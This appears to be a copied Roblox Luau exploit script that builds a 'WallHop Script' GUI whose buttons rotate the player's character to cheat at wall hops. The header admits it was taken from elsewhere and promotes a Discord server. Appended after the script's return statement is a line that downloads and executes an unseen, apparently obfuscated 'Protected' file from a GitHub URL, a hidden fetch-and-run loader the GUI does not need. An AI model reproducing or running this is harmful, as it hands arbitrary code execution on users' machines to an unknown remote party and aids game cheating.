--[=[ I don’t know where this came from, I just saw it somewhere. If you’re mad I skidded it, add @3ntk on Discord, and I’ll delete it! https://discord.gg/dpsNFKvSwv ]=] -- Instances: 21 | Scripts: 3 | Modules: 0 | Tags: 0 local G2L = {}; -- StarterGui.WallHopScript G2L["1"] = Instance.new("ScreenGui", game:GetService("Players").LocalPlayer:WaitForChild("PlayerGui")); G2L["1"]["Name"] = [[WallHopScript]]; G2L["1"]["ZIndexBehavior"] = Enum.ZIndexBehavior.Sibling; -- StarterGui.WallHopScript.Frame G2L["2"] = Instance.new("Frame", G2L["1"]); G2L["2"]["BorderSizePixel"] = 0; G2L["2"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0); G2L["2"]["Size"] = UDim2.new(0, 378, 0, 257); G2L["2"]["Position"] = UDim2.new(0.11443, 79, 0.18525, 78); G2L["2"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); -- StarterGui.WallHopScript.Frame.UICorner G2L["3"] = Instance.new("UICorner", G2L["2"]); -- StarterGui.WallHopScript.Frame.UIStroke G2L["4"] = Instance.new("UIStroke", G2L["2"]); G2L["4"]["Thickness"] = 2.2; G2L["4"]["Color"] = Color3.fromRGB(251, 251, 251); -- StarterGui.WallHopScript.Frame.UIDragDetector G2L["5"] = Instance.new("UIDragDetector", G2L["2"]); G2L["5"]["DragUDim2"] = UDim2.new(0, -408, 0, -268); -- StarterGui.WallHopScript.Frame.TextLabel G2L["6"] = Instance.new("TextLabel", G2L["2"]); G2L["6"]["BorderSizePixel"] = 0; G2L["6"]["TextSize"] = 14; G2L["6"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0); G2L["6"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["6"]["TextColor3"] = Color3.fromRGB(255, 255, 255); G2L["6"]["Size"] = UDim2.new(0, 332, 0, 29); G2L["6"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["6"]["Text"] = [[Satan Community]]; G2L["6"]["Position"] = UDim2.new(0.06077, 0, 0.88633, 0); -- StarterGui.WallHopScript.Frame.TextLabel.UICorner G2L["7"] = Instance.new("UICorner", G2L["6"]); -- StarterGui.WallHopScript.Frame.TextLabel G2L["8"] = Instance.new("TextLabel", G2L["2"]); G2L["8"]["BorderSizePixel"] = 0; G2L["8"]["TextSize"] = 14; G2L["8"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0); G2L["8"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["8"]["TextColor3"] = Color3.fromRGB(255, 255, 255); G2L["8"]["Size"] = UDim2.new(0, 276, 0, 50); G2L["8"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["8"]["Text"] = [[WallHop Script]]; G2L["8"]["Position"] = UDim2.new(-0.00081, 0, -0.00083, 0); -- StarterGui.WallHopScript.Frame.TextLabel.UICorner G2L["9"] = Instance.new("UICorner", G2L["8"]); -- StarterGui.WallHopScript.Frame.FlickButton G2L["a"] = Instance.new("TextButton", G2L["2"]); G2L["a"]["BorderSizePixel"] = 0; G2L["a"]["TextColor3"] = Color3.fromRGB(255, 255, 255); G2L["a"]["TextSize"] = 14; G2L["a"]["BackgroundColor3"] = Color3.fromRGB(89, 89, 89); G2L["a"]["FontFace"] = Font.new([[rbxasset://fonts/families/FredokaOne.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["a"]["Size"] = UDim2.new(0, 200, 0, 50); G2L["a"]["BackgroundTransparency"] = 0.3; G2L["a"]["Name"] = [[FlickButton]]; G2L["a"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["a"]["Text"] = [[Flick]]; G2L["a"]["Position"] = UDim2.new(0.05376, 0, 0.22416, 0); -- StarterGui.WallHopScript.Frame.FlickButton.LocalScript G2L["b"] = Instance.new("LocalScript", G2L["a"]); -- StarterGui.WallHopScript.Frame.FlickButton.UICorner G2L["c"] = Instance.new("UICorner", G2L["a"]); -- StarterGui.WallHopScript.Frame.FlickButton.UIStroke G2L["d"] = Instance.new("UIStroke", G2L["a"]); G2L["d"]["ApplyStrokeMode"] = Enum.ApplyStrokeMode.Border; G2L["d"]["Thickness"] = 2.9; -- StarterGui.WallHopScript.Frame.LoopFlickButton G2L["e"] = Instance.new("TextButton", G2L["2"]); G2L["e"]["BorderSizePixel"] = 0; G2L["e"]["TextColor3"] = Color3.fromRGB(255, 255, 255); G2L["e"]["TextSize"] = 14; G2L["e"]["BackgroundColor3"] = Color3.fromRGB(89, 89, 89); G2L["e"]["FontFace"] = Font.new([[rbxasset://fonts/families/FredokaOne.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["e"]["Size"] = UDim2.new(0, 200, 0, 50); G2L["e"]["BackgroundTransparency"] = 0.3; G2L["e"]["Name"] = [[LoopFlickButton]]; G2L["e"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["e"]["Text"] = [[loop flick]]; G2L["e"]["Position"] = UDim2.new(0.05376, 0, 0.50432, 0); -- StarterGui.WallHopScript.Frame.LoopFlickButton.LocalScript G2L["f"] = Instance.new("LocalScript", G2L["e"]); -- StarterGui.WallHopScript.Frame.LoopFlickButton.UICorner G2L["10"] = Instance.new("UICorner", G2L["e"]); -- StarterGui.WallHopScript.Frame.LoopFlickButton.UIStroke G2L["11"] = Instance.new("UIStroke", G2L["e"]); G2L["11"]["ApplyStrokeMode"] = Enum.ApplyStrokeMode.Border; G2L["11"]["Thickness"] = 2.9; -- StarterGui.WallHopScript.Frame.Seconds G2L["12"] = Instance.new("TextBox", G2L["2"]); G2L["12"]["CursorPosition"] = -1; G2L["12"]["Name"] = [[Seconds]]; G2L["12"]["BorderSizePixel"] = 0; G2L["12"]["TextSize"] = 14; G2L["12"]["TextColor3"] = Color3.fromRGB(249, 249, 249); G2L["12"]["BackgroundColor3"] = Color3.fromRGB(64, 64, 64); G2L["12"]["FontFace"] = Font.new([[rbxasset://fonts/families/FredokaOne.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["12"]["Size"] = UDim2.new(0, 115, 0, 140); G2L["12"]["Position"] = UDim2.new(0.65079, 0, 0.19373, 0); G2L["12"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["12"]["Text"] = [[Time for loop (In seconds)]]; -- StarterGui.WallHopScript.Frame.Seconds.UIStroke G2L["13"] = Instance.new("UIStroke", G2L["12"]); G2L["13"]["ApplyStrokeMode"] = Enum.ApplyStrokeMode.Border; G2L["13"]["Thickness"] = 2.9; -- StarterGui.WallHopScript.Frame.Seconds.UICorner G2L["14"] = Instance.new("UICorner", G2L["12"]); -- StarterGui.WallHopScript.Frame.Seconds.LocalScript G2L["15"] = Instance.new("LocalScript", G2L["12"]); -- StarterGui.WallHopScript.Frame.FlickButton.LocalScript local function C_b() local script = G2L["b"]; local player = game.Players.LocalPlayer local character = player.Character or player.CharacterAdded:Wait() local hrp = character:WaitForChild("HumanoidRootPart") script.Parent.MouseButton1Click:Connect(function() hrp.CFrame = hrp.CFrame * CFrame.Angles(0, math.rad(-50), 0) task.wait(0.1) hrp.CFrame = hrp.CFrame * CFrame.Angles(0, math.rad(70), 0) task.wait(1.5) end) end; task.spawn(C_b); -- StarterGui.WallHopScript.Frame.LoopFlickButton.LocalScript local function C_f() local script = G2L["f"]; local player = game.Players.LocalPlayer local character = player.Character or player.CharacterAdded:Wait() local hrp = character:WaitForChild("HumanoidRootPart") local rotating = false local function getRotationInterval() local textBox = script.Parent.Parent:FindFirstChild("Seconds") -- Assuming TextBox is a sibling of the button if textBox then local seconds = tonumber(textBox.Text) if seconds and seconds > 0 then return seconds end end return 1 -- Default to 1 second if no valid input end script.Parent.MouseButton1Click:Connect(function() rotating = not rotating if rotating then script.Parent.Text = "Stop Flicking" while rotating do hrp.CFrame = hrp.CFrame * CFrame.Angles(0, math.rad(-60), 0) task.wait(getRotationInterval()) hrp.CFrame = hrp.CFrame * CFrame.Angles(0, math.rad(60), 0) task.wait(getRotationInterval()) end else script.Parent.Text = "Loop Flick" end end) end; task.spawn(C_f); -- StarterGui.WallHopScript.Frame.Seconds.LocalScript local function C_15() local script = G2L["15"]; end; task.spawn(C_15); return G2L["1"], require; task.wait(0.5) loadstring(game:HttpGet("https://raw.githubusercontent.com/aa8283/i/refs/heads/main/Protected_2547730226887233.txt"))()